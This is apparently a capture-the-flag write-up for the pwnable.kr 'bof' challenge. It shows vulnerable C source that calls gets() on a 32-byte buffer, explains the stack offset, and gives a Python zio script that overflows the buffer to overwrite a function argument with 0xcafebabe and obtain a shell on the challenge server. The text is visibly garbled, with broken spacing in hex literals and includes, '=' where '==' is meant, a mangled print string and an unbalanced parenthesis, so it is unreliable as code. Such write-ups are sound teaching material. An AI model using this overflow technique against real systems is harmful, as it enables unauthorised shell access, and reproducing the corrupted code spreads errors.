Pwnable bof, pwnable

Pwnable bof, pwnable

Http://www.pwnable.kr/play.php

The binary file and source code are provided. view the source code:

# Include <stdio. h> # include <string. h> # include <stdlib. h> void func (int key) {char overflowme [32]; printf ("overflow me:"); gets (overflowme); // smash me! If (key = 0 xcafebabe) {system ("/bin/sh");} else {printf ("Hannah .. \ n ") ;}} int main (int argc, char * argv []) {func (0 xdeadbeef); return 0 ;}

The condition for system permission is that the key value is 0 xcafebabe, and the key is a parameter of the function func. The overfolwme array can overflow after it is gets.

Observe that the function s, that is, the buf is at 0x2c on the ebp. Then we only need to overflow 0x2c + 8 bytes to overwrite the position of the first parameter, and then overwrite it with cafebabe:

From zio import * def exp (target): io = zio (target) io. writeline ("1" * (0x2c + 8) + l32 (0 xcafebabe) io. interact () target = ("pwnable. kr ", 9000) exp (target)